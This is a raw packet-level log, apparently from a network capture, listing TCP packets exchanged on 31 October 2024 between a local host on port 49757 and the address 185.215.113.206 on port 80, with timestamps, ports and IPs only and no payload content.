Oct 31, 2024 11:27:25.920123100 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920129061 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920135021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920147896 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920149088 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920160055 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920169115 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920172930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920186996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920198917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920202017 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920211077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920223951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920229912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920234919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920248985 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920248985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920274973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920284033 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920289993 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920320034 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920341015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920381069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920392990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920403957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920416117 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920428038 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920432091 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920443058 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920445919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920460939 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920473099 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920475006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920500040 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920512915 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920589924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920603037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920614958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920634031 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920644045 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920653105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920665026 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920670033 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920677900 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920691013 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920700073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920703888 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920718908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920732021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920733929 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920743942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920747995 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920758009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920775890 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920804977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920980930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920999050 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921010017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921021938 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921036005 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921045065 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921046972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921056032 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921060085 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921072960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921086073 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921086073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921099901 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921099901 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921114922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921128035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921139002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921147108 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921153069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921159983 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921180964 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921195030 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921341896 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921354055 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921365976 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921377897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921390057 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921391010 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921403885 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921416998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921425104 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921427965 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921442032 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921449900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921453953 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921464920 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921469927 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921483040 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921495914 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921523094 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921531916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921538115 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921557903 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921570063 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921582937 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921586037 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921595097 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.921623945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.921652079 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.922182083 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.922229052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.922230959 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.922243118 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.922274113 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.922291040 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.922295094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.922307014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.922317982 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.922333002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.922343016 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.922369003 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.922393084 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.922441006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.922452927 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.922463894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.922476053 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.922487020 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.922489882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.922518969 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.922530890 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.952608109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.952661991 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.952682018 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.952702999 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.952734947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.000117064 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.000185966 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.000225067 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.000266075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.000317097 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.030070066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.030095100 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.030109882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.030145884 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.030179977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.033503056 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033566952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033580065 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033592939 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033607006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033633947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.033659935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033673048 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.033673048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033688068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033705950 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.033734083 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.033809900 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033826113 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033839941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033859015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.033866882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033879995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033888102 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.033893108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033912897 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.033917904 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033931017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033945084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.033946037 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.033974886 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.033987999 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034163952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034205914 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034246922 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034264088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034276962 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034306049 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034331083 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034334898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034348011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034369946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034380913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034392118 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034394026 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034409046 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034421921 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034435987 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034435987 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034463882 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034472942 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034535885 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034548998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034560919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034574032 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034583092 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034590006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034603119 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034605026 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034636974 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034646988 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034703970 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034715891 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034727097 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034739017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034754038 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034755945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034766912 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034781933 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034801006 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034822941 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034842014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034890890 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034917116 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034930944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034943104 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034964085 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034976006 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034976006 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.034979105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.034996033 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035012007 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035027027 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035043001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035062075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035074949 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035088062 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035089970 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035101891 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035111904 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035125971 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035155058 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035218000 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035229921 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035248041 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035260916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035265923 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035278082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035284042 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035291910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035293102 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035305977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035317898 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035329103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035331964 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035361052 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035363913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035377979 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035384893 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035393000 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035408974 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035422087 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035439968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035470009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035484076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035495043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035507917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035521030 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035547972 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035551071 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035563946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035576105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035588980 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035604000 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035619020 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035645962 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035674095 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035723925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035739899 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035754919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035780907 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035795927 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035820961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035836935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035847902 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035861015 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035881042 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035908937 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.035947084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035959005 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035972118 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035988092 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.035991907 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.036017895 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.036045074 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.036088943 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.036109924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.036120892 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.036140919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.036151886 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.036153078 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.036169052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.036180019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.036183119 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.036192894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.036201000 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.036225080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.036227942 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.036247015 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.036252022 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.036259890 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.036273003 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.036281109 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.036299944 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.036325932 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.141585112 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.146576881 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418123007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418148994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418168068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418179989 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418190956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418203115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418215990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418339968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.418459892 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418472052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418483019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418497086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418524027 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.418524027 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.418534994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418549061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418560028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418575048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418590069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418649912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.418649912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.418649912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.418649912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.418649912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.418682098 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418694019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418704987 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418710947 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418718100 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418725014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418730021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418736935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418823004 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:26.418965101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418977022 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418987989 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418992996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:26.418998957 CET	80	49757	185.215.113.206	192.168.2.4
